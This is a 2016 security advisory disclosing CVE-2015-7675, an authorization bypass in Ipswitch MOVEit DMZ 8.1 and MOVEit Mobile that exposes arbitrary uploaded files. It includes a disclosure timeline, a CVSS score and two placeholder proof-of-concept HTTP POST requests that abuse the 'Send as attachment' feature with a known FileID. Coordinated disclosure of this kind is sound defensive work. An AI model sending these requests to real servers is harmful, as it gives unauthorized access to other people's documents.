Ipswitch MOVEit DMZ 8.1 Authorization Bypass
Posted on 29 January 2016
Profundis Labs - Security Advisory Vulnerablity Title ================== A security issue in MOVEit web and mobile application allows for unauthorized access to arbitrary files and documents Vendor: ======= Ipswitch, Inc (http://www.ipswitchft.com) Product: ======== MOVEit File Transfer MOVEit is an automated file transfer system that lets you manage, view, secure, and control all business-critical file transfer activity through a single, secure system. (Source: http://www.ipswitchft.com/moveit-managed-file-transfer) Affected Versions: ================== MOVEit DMZ v8.1 and below Vulnerability Type: =================== Authorization Bypass CVE Reference: ============== CVE-2015-7675 VENDOR Reference: ================= http://docs.ipswitch.com/MOVEit/DMZ82/ReleaseNotes/MOVEitReleaseNotes82.pdf Vendor Reference Number: MIDMZ-6575 Vulnerability Details: ====================== It is possible to gain access to arbitrary uploaded files/documents by abusing the feature "Send as attachment". To exploit this vulnerability, the following information is needed: - A valid user account (user session) - A valid FileID FileIDs can be obtained by vulnerability CVE-2015-7677 (https://profundis-labs.com/advisories/CVE-2015-7677.txt) PoC code(s): ============ Mobile Application: POST /mobile/sendMsg?1441957507... HTTP/1.1 Host: <FQDN>:8443 ... id=&subject=trdt&body=test&toEmailList=<EMAILADRESS>&ccEmailList=&bccEmailList=&isNew=1&messageType=7&serverFileIds=<FILEID>&noReplyAll=0&deliveryReceipt=0&secureBody=true&maxAttachDownloads=5&expireAfterHours=240 Web application: POST /human.aspx?r=1083532... HTTP/1.1 Host: <FQDN> ... csrftoken=fd31...&transaction=folderfilelistattach&confirm=1&arg01=<FILEID>&arg02=2178...&arg03=&arg04=&arg05=&arg06=2178...&arg07=&arg08=&arg09=&arg10=&arg11=&arg12=filelist Remark: Values in Brakets are placeholders. Disclosure Timeline: ==================== Vendor Notification: 09/23/2015 Vendor Confirmation: 09/24/2015 Vendor Patch Release: 10/20/2015 Public Disclosure: 01/27/2016 Severity Level: =============== 6.5 (Medium) CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N Description: ============ Request Method(s): [+] HTTP POST Vulnerable Product: [+] MOVEit DMZ v8.1 MOVEit Mobile (v1.2.0.962) Vulnerable Parameter(s): [+] FILEID Authentication (Role): [+] User, Guest Access =========================================================== [+] Author: Philipp Rocholl [+] Website: https://www.profundis-labs.com [+] Source: https://profundis-labs.com/advisories/CVE-2015-7675.txt [+] Disclaimer Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and prohibits any malicious use of security related information.
